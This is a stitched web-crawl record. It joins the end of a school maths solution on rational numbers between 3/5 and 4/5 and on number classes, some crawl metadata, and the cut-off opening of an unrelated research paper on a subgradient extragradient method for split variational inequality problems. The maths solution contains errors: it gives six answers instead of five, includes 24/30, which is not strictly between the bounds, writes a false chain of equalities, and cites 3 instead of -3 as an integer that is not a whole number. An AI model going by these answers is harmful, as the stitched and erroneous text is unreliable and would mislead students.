"Question 3.\nFind five rational numbers between $$\\frac { 3 }{ 5 }$$ and $$\\frac { 4 }{ 5 }$$.\nSolution:\nSince we want 5 rational numbers between $$\\frac { 3 }{ 5 }$$ and $$\\frac { 4 }{ 5 }$$, so we write\n$$\\frac { 3 }{ 5 }$$ = $$\\frac{3 \\times 6}{5 \\times 6}$$ = $$\\frac { 18 }{ 30 }$$\n$$\\frac { 4 }{ 5 }$$ = $$\\frac{4\\times 6}{5 \\times 6}$$ = $$\\frac { 24 }{ 30 }$$\nWe know that 18 < 19 < 20 < 21 < 22 < 23 < 24\n⇒ $$\\frac { 18 }{ 30 }$$ < $$\\frac { 19 }{ 30 }$$ < $$\\frac { 20 }{ 30 }$$ < $$\\frac { 21 }{ 30 }$$ < $$\\frac { 22 }{ 30 }$$ < $$\\frac { 23 }{ 30 }$$ < $$\\frac { 24 }{ 30 }$$\nHence, 5 rational numbers between $$\\frac { 3 }{ 5 }$$ = $$\\frac { 4 }{ 5 }$$ = $$\\frac { 24 }{ 30 }$$ are : $$\\frac { 19 }{ 30 }$$, $$\\frac { 20 }{ 30 }$$, $$\\frac { 21 }{ 30 }$$, $$\\frac { 22 }{ 30 }$$, $$\\frac { 23 }{ 30 }$$ and $$\\frac { 24 }{ 30 }$$.\n\nQuestion 4.\nState whether the following statements are true or false. Give reasons for your answers.\n(i) Every natural number is a whole number.\n(ii) Every integer is a whole number.\n(iii) Every rational number is a whole number.\nSolution:\n(i) True : Every natural number lies in the collection of whole numbers.\n(ii) False – 3 is not a whole number.\n(iii) False : $$\\frac { 3 }{ 5 }$$ is not a whole number."
] | [
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"https://i2.wp.com/bsebsolutions.com/wp-content/uploads/2021/04/BSEB-Soluitons-1.png",
null,
"https://i0.wp.com/bsebsolutions.com/wp-content/uploads/2021/05/Bihar-Board-Class-9th-Maths-Solutions-Chapter-1-Number-Systems-Ex-1.1-1-1.png",
null,
"https://i2.wp.com/bsebsolutions.com/wp-content/uploads/2021/04/BSEB-Soluitons-1.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.6725692,"math_prob":1.0000099,"size":3160,"snap":"2023-40-2023-50","text_gpt3_token_len":1275,"char_repetition_ratio":0.2918251,"word_repetition_ratio":0.29115647,"special_character_ratio":0.5436709,"punctuation_ratio":0.11604095,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000097,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,5,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-02T09:29:11Z\",\"WARC-Record-ID\":\"<urn:uuid:c29edc08-059d-4d73-84b9-dee1d68f67e7>\",\"Content-Length\":\"38600\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6f830ae5-6258-4dd3-8aba-a459b4929cb9>\",\"WARC-Concurrent-To\":\"<urn:uuid:d7503093-273f-4390-94b2-7e61c675ebd1>\",\"WARC-IP-Address\":\"172.67.199.4\",\"WARC-Target-URI\":\"https://bsebsolutions.com/bihar-board-class-9th-maths-solutions-chapter-1-ex-1-1-english-medium/\",\"WARC-Payload-Digest\":\"sha1:DUKKSW3IW7W5AQ6BXCMEDVGUANLRCVSC\",\"WARC-Block-Digest\":\"sha1:5GLYXB5KL5CWJ64WAAT5WSKOX6XH4U6A\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100381.14_warc_CC-MAIN-20231202073445-20231202103445-00799.warc.gz\"}"} |
https://journalofinequalitiesandapplications.springeropen.com/articles/10.1186/s13660-022-02787-z | [
"# A new subgradient extragradient method for solving the split modified system of variational inequality problems and fixed point problem\n\n## Abstract\n\nWe introduce a new subgradient extragradient algorithm utilizing the concept of the set of solutions of the split modified system of variational inequality problems (SMSVIP). Our main theorem is weak convergence theorem for such an algorithm for approximating the fixed point problem in a real Hilbert space. We also apply these results to approximate the split minimization problem. In the last section, we provide an example to illustrate the potential of our main theorem.\n\n## 1 Introduction\n\nLet C be a nonempty closed convex subset of a real Hilbert space H. The mapping $$T:C\\rightarrow C$$ is called nonexpansive if $$\\|Tx-Ty\\|\\leq \\|x-y\\|$$ for all $$x,y\\in C$$. An element $$x\\in C$$ is said to be a fixed point of T if $$Tx=x$$ and $$F(T)=\\{x\\in C: Tx=x\\}$$ denotes the set of fixed points of T. Fixed point problem has been widely studied and developed in the literature; see [5, 11, 26, 27, 29] and the references therein.\n\nWe now recall some well-known concepts and results in a real Hilbert space H.\n\nThe variational inequality problem (VIP) is to find a point $$x^{*}\\in C$$ such that\n\n\\begin{aligned} \\bigl\\langle Ax^{*},y-x^{*} \\bigr\\rangle \\geq 0 \\end{aligned}\n\nfor all $$y\\in C$$. The set of all solutions of the variational inequality is denoted by $$VI(C,A)$$. Since its inception by Stampacchia in 1964, the variational inequality problem has become interesting in several topics arising in structural analysis, physic, economics, optimization, and applied sciences; see [1, 3, 6, 8, 1113, 15, 18, 20, 30, 32] and the references therein.\n\nSeveral algorithms for solving the VIP are projection algorithms that employ projections onto the feasible set C of the VIP, or onto some related set, in order to iteratively reach a solution. In 1976, Korpelevich proposed an algorithm for solving the VIP in a Euclidean space, known as the extragradient method. In each iteration of her algorithm, in order to get the next iterate $$x^{k+1}$$, two orthogonal projections onto C are calculated, according to the following iterative step. Given the current iterate $$x^{k}$$, calculate\n\n\\begin{aligned} & y^{k}=P_{C} \\bigl(x^{k}-\\tau f \\bigl(x^{k} \\bigr) \\bigr), \\end{aligned}\n(1)\n\\begin{aligned} &x^{k+1}=P_{C} \\bigl(x^{k}-\\tau f \\bigl(y^{k} \\bigr) \\bigr) \\end{aligned}\n(2)\n\nfor all $$k\\in \\mathbb{N}$$, where τ is some positive number and $$P_{C}$$ denotes the Euclidean least distance projection onto C.\n\nThe convergence was proved in under the assumptions of Lipschitz continuity and pseudo-monotonicity. However, there is still the need to calculate two projections onto C. If the set C is simple enough so that projections onto it can be easily computed, but if C is a general closed and convex set, a minimal distance problem has to be solved twice in order to obtain the next iterate. This might seriously affect the efficiency of the extragradient method. Korpelevich’s extragradient method has been widely studied in the literature; see [2, 4, 7, 9, 14, 16, 17, 22, 28, 31] and the references therein.\n\nIn the past decade years, Censor et al. developed the subgradient extragradient algorithm in a Euclidean space, in which they replaced the (second) projection (2) onto C by a projection onto a specific constructible half-space as follows:\n\n### Algorithm 1\n\n$$\\mathbf{Step\\ 0:}$$ Select a starting point $$x^{0}\\in H$$ and $$\\tau >0$$, and set $$k=0$$.\n\n$$\\mathbf{Step\\ 1:}$$ Given the current iterate $$x^{k}$$, compute\n\n\\begin{aligned} y^{k}=P_{C} \\bigl(x^{k}-\\tau f \\bigl(x^{k} \\bigr) \\bigr), \\end{aligned}\n\nconstruct the half-space $$T_{k}$$ the bounding hyperplane of which supports C at $$y^{k}$$,\n\n\\begin{aligned} T_{k}:= \\bigl\\{ w\\in H| \\bigl\\langle \\bigl(x^{k}- \\tau f \\bigl(x^{k} \\bigr) \\bigr)-y^{k},w-y^{k} \\bigr\\rangle \\leq 0 \\bigr\\} , \\end{aligned}\n(3)\n\nand calculate the next iterate\n\n\\begin{aligned} x^{k+1}=P_{T_{k}} \\bigl(x^{k}-\\tau f \\bigl(y^{k} \\bigr) \\bigr). \\end{aligned}\n\n$$\\mathbf{Step\\ 2:}$$ If $$x^{k}=y^{k}$$ then stop. Otherwise, set $$k\\leftarrow (k+1)$$ and return to step 1.\n\nFurthermore, under some control conditions, they proved weak convergence theorems for their algorithms.\n\nVery recently, Sripattanet and Kangtunyakarn introduced the following split modified system of variational inequality problems (SMSVIP), which involves finding $$(x^{*},y^{*},z^{*})\\in C\\times C\\times C$$ such that\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle x^{*}-(I-\\zeta D_{1})(ax^{*}+(1-a)y^{*}),x-x^{*}\\rangle \\geq 0,\\quad \\forall x\\in C, \\\\ \\langle y^{*}-(I-\\zeta D_{2})(ax^{*}+(1-a)z^{*}),x-y^{*}\\rangle \\geq 0,\\quad \\forall x\\in C, \\\\ \\langle z^{*}-(I-\\zeta D_{3})x^{*},x-z^{*}\\rangle \\geq 0,\\quad \\forall x \\in C, \\end{cases}\\displaystyle \\end{aligned}\n(4)\n\nand finding $$(\\bar{x^{*}}=Ax^{*}, \\bar{y^{*}}=Ay^{*}, \\bar{z^{*}}=Az^{*})\\in Q\\times Q\\times Q$$ such that\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle \\bar{x^{*}}-(I-\\bar{\\zeta }\\bar{D_{1}})(a\\bar{x^{*}}+(1-a) \\bar{y^{*}}),\\bar{x}-\\bar{x^{*}}\\rangle \\geq 0, \\quad\\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{y^{*}}-(I-\\bar{\\zeta }\\bar{D_{2}})(a\\bar{x^{*}}+(1-a) \\bar{z^{*}}),\\bar{x}-\\bar{y^{*}}\\rangle \\geq 0,\\quad \\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{z^{*}}-(I-\\bar{\\zeta }\\bar{D_{3}})\\bar{x^{*}},\\bar{x}- \\bar{z^{*}}\\rangle \\geq 0,\\quad\\forall \\bar{x}\\in Q, \\end{cases}\\displaystyle \\end{aligned}\n(5)\n\nwhere $$D_{1},D_{2},D_{3}:C\\rightarrow H_{1}$$, $$\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}:Q\\rightarrow H_{2}$$ are six different mappings, $${\\zeta,\\bar{\\zeta } >0,}$$ and $$a\\in [0,1]$$. The sets of all solutions of (4) and (5) are denoted by $$\\Psi _{D_{1},D_{2},D_{3}}$$ and $$\\Psi _{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}}$$, respectively. The set of all solutions of the SMSVIP is denoted by $$\\Psi ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}}$$, that is,\n\n\\begin{aligned} \\Psi ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}}= \\bigl\\{ \\bigl(x^{*},y^{*},z^{*} \\bigr) \\in \\Psi _{D_{1},D_{2},D_{3}}: \\bigl(\\bar{x^{*}},\\bar{y^{*}}, \\bar{z^{*}} \\bigr) \\in \\Psi _{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}} \\bigr\\} . \\end{aligned}\n\nIf we put $$a=0$$ in (4) and (5), we have\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle x^{*}-(I-\\zeta D_{1})y^{*},x-x^{*}\\rangle \\geq 0,\\quad \\forall x \\in C, \\\\ \\langle y^{*}-(I-\\zeta D_{2})z^{*},x-y^{*}\\rangle \\geq 0, \\quad\\forall x \\in C, \\\\ \\langle z^{*}-(I-\\zeta D_{3})x^{*},x-z^{*}\\rangle \\geq 0,\\quad\\forall x \\in C, \\end{cases}\\displaystyle \\end{aligned}\n\nand\n\n\\begin{aligned} \\textstyle\\begin{cases} \\langle \\bar{x^{*}}-(I-\\bar{\\zeta }\\bar{D_{1}})\\bar{y^{*}},\\bar{x}- \\bar{x^{*}}\\rangle \\geq 0,\\quad \\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{y^{*}}-(I-\\bar{\\zeta }\\bar{D_{2}})\\bar{z^{*}},\\bar{x}- \\bar{y^{*}}\\rangle \\geq 0,\\quad \\forall \\bar{x}\\in Q, \\\\ \\langle \\bar{z^{*}}-(I-\\bar{\\zeta }\\bar{D_{3}})\\bar{x^{*}},\\bar{x}- \\bar{z^{*}}\\rangle \\geq 0,\\quad\\forall \\bar{x}\\in Q, \\end{cases}\\displaystyle \\end{aligned}\n\nwhich is a modified the split general system of variational inequalities (SVIP) .\n\nBased on the above works and observation of a half-space in Algorithm 1 related to the VIP, we introduce a new half-space related to the SMSVIP and prove weak convergence theorems of the sequence $$\\{x_{n}\\}$$ generated by our new half-space for approximating the solutions of the SMSVIP. Moreover, using our main result, we obtain the additional results involving the split minimization problem. Finally, we perform numerical examples to illustrate the computational performance of the proposed algorithms.\n\n## 2 Preliminaries\n\nWe denote the weak convergence and the strong convergence by $$^{\\backprime \\backprime }\\rightharpoonup ^{\\prime \\prime }$$ and $$^{\\backprime \\backprime }\\rightarrow ^{\\prime \\prime }$$, respectively. For every $$x\\in \\mathcal{H}$$, there exists a unique nearest point $$P_{C}x$$ in C such that $$\\|x-P_{C}x\\|\\leq \\|x-y\\|$$ for all $$y\\in C$$. $$P_{C}$$ is called the metric projection of $$\\mathcal{H}$$ onto C.\n\nThe metric projection $$P_{C}$$ is characterized by the following two properties:\n\n1. 1.\n\n$$P_{C} x\\in C$$,\n\n2. 2.\n\n$$\\langle x-P_{C} x,P_{C} x-y\\rangle \\geq 0$$, $$\\forall x\\in \\mathcal{H}$$, $$y\\in C$$,\n\nand if C is a hyperplane, it follows that\n\n\\begin{aligned} \\Vert x-y \\Vert ^{2}&\\geq \\Vert x-P_{C} x \\Vert ^{2}+ \\Vert y-P_{C} x \\Vert ^{2}, \\end{aligned}\n(6)\n\n$$\\forall x\\in \\mathcal{H}$$, $$y\\in C$$.\n\n### Definition 2.1\n\nA mapping $$A:C\\rightarrow H$$ is called α-inversestronglymonotone if there exists a positive real number $$\\alpha >0$$ such that\n\n\\begin{aligned} \\langle Ax-Ay,x-y\\rangle \\geq \\alpha \\Vert Ax-Ay \\Vert ^{2} \\end{aligned}\n\nfor all $$x,y\\in C$$.\n\nThe following lemmas are needed to prove the main theorem.\n\n### Lemma 2.2\n\nLet $$\\mathcal{H}$$ be a real Hilbert space, and let C be a nonempty closed convex subset of $$\\mathcal{H}$$. Let $$\\{x^{k}\\}^{\\infty }_{k=0}\\subset \\mathcal{H}$$ be Fejer-monotone with respect to C, i.e., for every $$u\\in C$$,\n\n\\begin{aligned} \\bigl\\Vert x^{k+1}-u \\bigr\\Vert \\leq \\bigl\\Vert x^{k}-u \\bigr\\Vert , \\quad\\forall k\\geq 0. \\end{aligned}\n\nThen $$\\{P_{C} x^{k}\\}^{\\infty }_{k=0}$$ converges strongly to some $$z\\in C$$.\n\n### Lemma 2.3\n\nEach Hilbert space $$\\mathcal{H}$$ satisfies Opial’s condition, i.e., for any sequence $$\\{x_{n}\\}\\subset \\mathcal{H}$$ with $$x_{n}\\rightharpoonup x$$, the inequality\n\n\\begin{aligned} \\liminf_{n \\to \\infty } \\Vert x_{n}-x \\Vert < \\liminf _{n \\to \\infty } \\Vert x_{n}-y \\Vert \\end{aligned}\n\nholds for every $$y\\in \\mathcal{H}$$ with $$y\\neq x$$.\n\n### Lemma 2.4\n\n()\n\nLet $$H_{1}$$ and $$H_{2}$$ be real Hilbert spaces, and let $$C,Q$$ be nonempty closed convex subsets of $$H_{1}$$ and $$H_{2}$$, respectively. Let $$D_{1},D_{2}$$, $$D_{3}:C\\rightarrow H_{1}$$ be $$d_{1},d_{2},d_{3}$$-inverse strongly monotone, respectively, where $$\\zeta \\in (0,2d^{*})$$ with $$d^{*}=\\operatorname{min} \\{d_{1},d_{2},d_{3}\\}$$. Let $$\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}:Q\\rightarrow H_{2}$$ be $$\\bar{d_{1}},\\bar{d_{2}},\\bar{d_{3}}$$-inverse strongly monotone, respectively, where $$\\bar{\\zeta }\\in (0,2\\hat{d})$$ with $$\\hat{d}=\\operatorname{min} \\{\\bar{d_{1}}, \\bar{d_{2}},\\bar{d_{3}}\\}$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. Define $$M_{C}:C\\rightarrow C$$ by\n\n\\begin{aligned} M_{C}(x)=P_{C}(I-\\zeta D_{1}) \\bigl(ax+(1-a)P_{C}(I-\\zeta D_{2}) \\bigl(ax+(1-a)P_{C}(I- \\zeta D_{3})x \\bigr) \\bigr), \\end{aligned}\n\n$$\\forall x\\in C$$, and define $$M_{Q}:Q\\rightarrow Q$$ by\n\n\\begin{aligned} M_{Q}(\\hat{x})=P_{Q}(I-\\bar{\\zeta }\\bar{D_{1}}) \\bigl(a\\hat{x}+(1-a)P_{Q}(I- \\bar{\\zeta }\\bar{D_{2}}) \\bigl(a\\hat{x}+(1-a)P_{Q}(I-\\bar{\\zeta }\\bar{D_{3}}) \\hat{x} \\bigr) \\bigr), \\end{aligned}\n\n$$\\forall \\hat{x}\\in Q$$. Define $$M:C\\rightarrow C$$ by $$M(x)=M_{C}(x-\\eta A^{*}(I-M_{Q})Ax)$$ for all $$x\\in C$$. Then M is a nonexpansive mapping for all $$x\\in C$$.\n\n### Remark 1\n\nFrom the study of Lemma 2.4, we have\n\n\\begin{aligned} & \\bigl\\Vert \\bigl(x-\\eta A^{*}(I-M_{Q})Ax \\bigr)- \\bigl(y- \\eta A^{*}(I-M_{Q})Ay \\bigr) \\bigr\\Vert ^{2} \\\\ &\\quad\\leq \\Vert x-y \\Vert ^{2}-\\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax-(I-M_{Q})Ay \\bigr\\Vert ^{2} \\end{aligned}\n\nfor all $$x,y\\in H_{1}$$.\n\n### Lemma 2.5\n\n()\n\nLet $$H_{1}$$ and $$H_{2}$$ be real Hilbert spaces, and let $$C,Q$$ be nonempty closed convex subsets of $$H_{1},H_{2}$$, respectively. Define the mappings $$D_{1},D_{2},D_{3},\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}},M_{C}$$, and $$M_{Q}$$ as in Lemma 2.4, where $$\\zeta \\in (0,2d^{*})$$ with $$d^{*}=\\operatorname{min} \\{d_{1},d_{2},d_{3}\\}$$, $$\\bar{\\zeta }\\in (0,2\\hat{d})$$ with $$\\hat{d}= \\operatorname{min} \\{\\bar{d_{1}}, \\bar{d_{2}},\\bar{d_{3}}\\}$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$.\n\nAssume\n\n\\begin{aligned} \\Psi ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}}= \\bigl\\{ \\bigl(x^{*},y^{*},z^{*} \\bigr) \\in \\Psi _{D_{1},D_{2},D_{3}}: \\bigl(\\bar{x^{*}},\\bar{y^{*}}, \\bar{z^{*}} \\bigr) \\in \\Psi _{\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}}} \\bigr\\} \\neq \\emptyset . \\end{aligned}\n\nThe following statements are equivalent:\n\n1. (i)\n\n$$(x^{*},y^{*},z^{*})\\in \\Psi ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}}, \\bar{D_{2}},\\bar{D_{3}}}$$,\n\n2. (ii)\n\n$$x^{*}=M_{C}(x^{*}-\\eta A^{*}(I-M_{Q})Ax^{*})$$, where $$y^{*}=P_{C}(I-\\zeta D_{2})(ax^{*}+(1-a)z^{*})$$, $$z^{*}=P_{C}(I-\\zeta D_{3})x^{*}$$, $$\\bar{x^{*}}=Ax^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{1}})(a\\bar{x^{*}}+(1-a) \\bar{y^{*}})$$, $$\\bar{y^{*}}=Ay^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{2}})(a\\bar{x^{*}}+(1-a) \\bar{z^{*}})$$, and $$\\bar{z^{*}}=Az^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{3}})\\bar{x^{*}}$$.\n\n### Lemma 2.6\n\n()\n\nLet $$H_{1}$$ and $$H_{2}$$ be real Hilbert spaces, and let $$C,Q$$ be nonempty closed convex subsets of $$H_{1},H_{2}$$, respectively. Define the mappings $$D_{1},D_{2},D_{3},\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}},M_{C}$$, and $$M_{Q}$$ as in Lemma 2.4where $$\\zeta \\in (0,2d^{*})$$ with $$d^{*}=\\operatorname{min} \\{d_{1},d_{2},d_{3}\\}$$, $$\\bar{\\zeta }\\in (0,2\\hat{d})$$ with $$\\hat{d}= \\operatorname{min} \\{\\bar{d_{1}}, \\bar{d_{2}},\\bar{d_{3}}\\}$$ and $$a\\in [0,1]$$. Let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. Let $$\\bigcap_{i=1}^{3}\\Phi _{i}\\neq \\emptyset$$ and $$\\Phi _{i}=\\{w\\in VI(C,D_{i})|Aw=\\bar{w}\\in VI(Q,\\bar{D}_{i})\\}$$ for all $$i=1,2,3$$. Then\n\n\\begin{aligned} \\bigcap_{i=1}^{3}\\Phi _{i}= F \\bigl(M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr) \\bigr). \\end{aligned}\n\nIn order to prove our main result, we need to prove the lemmas involving the split variational inequality problem.\n\n### Lemma 2.7\n\nLet $$H_{1}$$ and $$H_{2}$$ be real Hilbert spaces, and let $$C,Q$$ be nonempty closed convex subsets of $$H_{1},H_{2}$$, respectively. Define the mappings $$D_{1},D_{2},D_{3},\\bar{D_{1}},\\bar{D_{2}},\\bar{D_{3}},M_{C}$$, and $$M_{Q}$$ as in Lemma 2.4where $$\\zeta \\in (0,2d^{*})$$ with $$d^{*}=\\operatorname{min} \\{d_{1},d_{2},d_{3}\\}$$, $$\\bar{\\zeta }\\in (0,2\\hat{d})$$ with $$\\hat{d}= \\operatorname{min} \\{\\bar{d_{1}}, \\bar{d_{2}},\\bar{d_{3}}\\}$$ and $$a\\in [0,1]$$. Let $$\\{x_{n}\\}$$ be a sequence in $$H_{1}$$, and let $$A:H_{1}\\rightarrow H_{2}$$ be a bounded linear operator with adjoint $$A^{*}$$ and $$\\eta \\in (0,\\frac{1}{L})$$ with L being the spectral radius of the operator $$A^{*}A$$. For every $$n\\in \\mathbb{N}$$, let $$T_{n}=aW_{n}+(1-a)P_{C}(I-\\zeta D_{2})(aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n}))$$ and $$W_{n}=(I-\\eta A^{*}(I-M_{Q})A)x_{n}$$. If $$x^{*}\\in \\bigcap_{i=1}^{3}\\Phi _{i}$$, then\n\n\\begin{aligned} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}&\\leq \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}-\\eta (1- \\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2} \\end{aligned}\n\nfor all $$n\\in \\mathbb{N}$$.\n\n### Proof\n\nLet $$x^{*}\\in \\bigcap_{i=1}^{3}\\Phi _{i}$$. From Lemma 2.6, we have\n\n\\begin{aligned} x^{*}\\in F \\bigl(M_{C} \\bigl(I-\\eta A^{*}(I-M_{Q})A \\bigr) \\bigr). \\end{aligned}\n\nIt implies that $$x^{*}=M_{C}(I-\\eta A^{*}(I-M_{Q})A)x^{*}$$, $$y^{*}=P_{C}(I-\\zeta D_{2})(ax^{*}+(1-a)z^{*})$$, and $$z^{*}=P_{C}(I-\\zeta D_{3})x^{*}$$, where $$\\bar{x^{*}}=Ax^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{1}})(a\\bar{x^{*}}+(1-a) \\bar{y^{*}})$$, $$\\bar{y^{*}}=Ay^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{2}})(a\\bar{x^{*}}+(1-a) \\bar{z^{*}})$$, and $$\\bar{z^{*}}=Az^{*}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{3}})\\bar{x^{*}}$$. From Lemma 2.5, we have $$(x^{*},y^{*},z^{*})\\in \\Omega ^{D_{1},D_{2},D_{3}}_{\\bar{D_{1}}, \\bar{D_{2}},\\bar{D_{3}}}$$. That is, $$(x^{*},y^{*},z^{*})\\in \\Omega _{D_{1},D_{2},D_{3}}$$ and $$(\\bar{x^{*}},\\bar{y^{*}},\\bar{z^{*}})\\in \\Omega _{\\bar{D_{1}}, \\bar{D_{2}},\\bar{D_{3}}}$$. From $$(\\bar{x^{*}},\\bar{y^{*}},\\bar{z^{*}})\\in \\Omega _{\\bar{D_{1}}, \\bar{D_{2}},\\bar{D_{3}}}$$, we obtain that\n\n\\begin{aligned} &\\bar{x^{*}}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{1}}) \\bigl(a\\bar{x^{*}}+(1-a) \\bar{y^{*}} \\bigr),\\\\ &\\bar{y^{*}}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{2}}) \\bigl(a\\bar{x^{*}}+(1-a) \\bar{z^{*}} \\bigr),\\\\ &\\bar{z^{*}}=P_{Q}(I-\\bar{\\zeta }\\bar{D_{3}}) \\bar{x^{*}}. \\end{aligned}\n\nIt implies that\n\n\\begin{aligned} Ax^{*}&=\\bar{x^{*}}=P_{Q}(I-\\bar{\\zeta } \\bar{D_{1}}) \\bigl(a\\bar{x^{*}}+(1-a)P_{Q}(I- \\bar{\\zeta }\\bar{D_{2}}) \\bigl(a\\bar{x^{*}}+(1-a)P_{Q}(I- \\bar{\\zeta }\\bar{D_{3}})\\bar{x^{*}} \\bigr) \\bigr)\\\\ &=M_{Q}\\bar{x^{*}}=M_{Q}Ax^{*}. \\end{aligned}\n\nFrom the definition of $$x^{*}$$, we get $$x^{*}=P_{C}(I-\\zeta D_{1})T_{x}^{*}$$, where $$T_{x}^{*}=aW_{x}^{*}+(1-a)P_{C}(I-\\zeta D_{2})(aW_{x}^{*}+(1-a)P_{C}(I- \\zeta D_{3})W_{x}^{*}))$$ and $$W_{x}^{*}=(I-\\eta A^{*}(I-M_{Q})A)x^{*})=x^{*}$$.\n\nFrom Lemma 2.6, we have that $${P_{C}}(I - {\\zeta }{D_{1}}),{P_{C}}(I - {\\zeta }{D_{2}})$$ and $${P_{C}}(I - {\\zeta }{D_{3}})$$ are nonexpansive.\n\nBy the definition of $$T_{n}$$, Lemma 2.4, and Remark 1, we have\n\n\\begin{aligned} \\bigl\\Vert T_{n}-x^{*} \\bigr\\Vert ^{2}={}&\\bigl\\| aW_{n}+(1-a)P_{C}(I-\\zeta D_{2}) \\bigl(aW_{n}+(1-a) \\\\ &{}\\times P_{C}(I- \\zeta D_{3})W_{n} \\bigr))- \\bigl(aW_{x^{*}}+(1-a)P_{C}(I-\\zeta D_{2}) \\bigl(aW_{x^{*}} \\\\ &{} +(1-a)P_{C}(I-\\zeta D_{3})W_{x^{*}} \\bigr) \\bigr))\\bigr\\| ^{2} \\\\ ={}& \\bigl\\Vert a(W_{n}-W_{x^{*}})+(1-a) \\bigl[P_{C}(I- \\zeta D_{2}) \\bigl(aW_{n}+(1-a)P_{C}(I- \\zeta D_{3})W_{n} \\bigr)) \\\\ &{} -P_{C}(I- \\zeta D_{2}) \\bigl(aW_{x^{*}}+(1-a)P_{C}(I- \\zeta D_{3})W_{x^{*}} \\bigr)) \\bigr] \\bigr\\Vert ^{2} \\\\ \\leq{}& a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a) \\bigl\\| P_{C}(I-\\zeta D_{2}) \\bigl(aW_{n}+(1-a)P_{C}(I- \\zeta D_{3})W_{n} \\bigr)) \\\\ &{}-P_{C}(I-\\zeta D_{2}) \\bigl(aW_{x^{*}}+(1-a)P_{C}(I- \\zeta D_{3})W_{x^{*}} \\bigr))\\bigr\\| ^{2} \\\\ \\leq{}& a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a) \\bigl\\Vert aW_{n}+(1-a)P_{C}(I-\\zeta D_{3})W_{n} \\\\ & {}- \\bigl(aW_{x^{*}}+(1-a)P_{C}(I-\\zeta D_{3})W_{x^{*}} \\bigr) \\bigr\\Vert ^{2} \\\\ ={}&a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a) \\bigl\\Vert a(W_{n}-W_{x^{*}})+(1-a) \\\\ & {}\\times \\bigl[P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr] \\bigr\\Vert ^{2} \\\\ \\leq{}& a \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+a(1-a) \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a)^{2} \\\\ & {}\\times \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl(2a-a^{2} \\bigr) \\Vert W_{n}-W_{x^{*}} \\Vert ^{2}+(1-a)^{2} \\bigl\\Vert P_{C}(I-\\zeta D_{3})W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq {}& \\bigl\\Vert W_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ ={}& \\bigl\\Vert x_{n}-\\eta A^{*}(I-M_{Q})Ax_{n}-x^{*} \\bigr\\Vert ^{2} \\\\ \\leq{}& \\bigl\\Vert x_{n}-x^{*} \\bigr\\Vert ^{2}- \\eta (1-\\eta L) \\bigl\\Vert (I-M_{Q})Ax_{n} \\bigr\\Vert ^{2}. \\end{aligned}\n(7)\n\n□\n\n## 3 Main results\n\n### Theorem 3.1\n\nLet C and Q be nonempty closed convex subsets of real Hilbert spaces $$H_{1}$$ and $$H_{2}$$, respectively, and let $$S:C\\rightarrow C$$ be a nonexpansive mapping. Let $$D_{1},D_{2},D_{3}:C\\rightarrow H_{1}$$ be $$d_{1},d_{2},d_{3}$$-inverse strongly monotone, respectively, with $$d^{*}=\\operatorname{min} \\{d_{1},d_{2},d_{3}\\}$$. Let 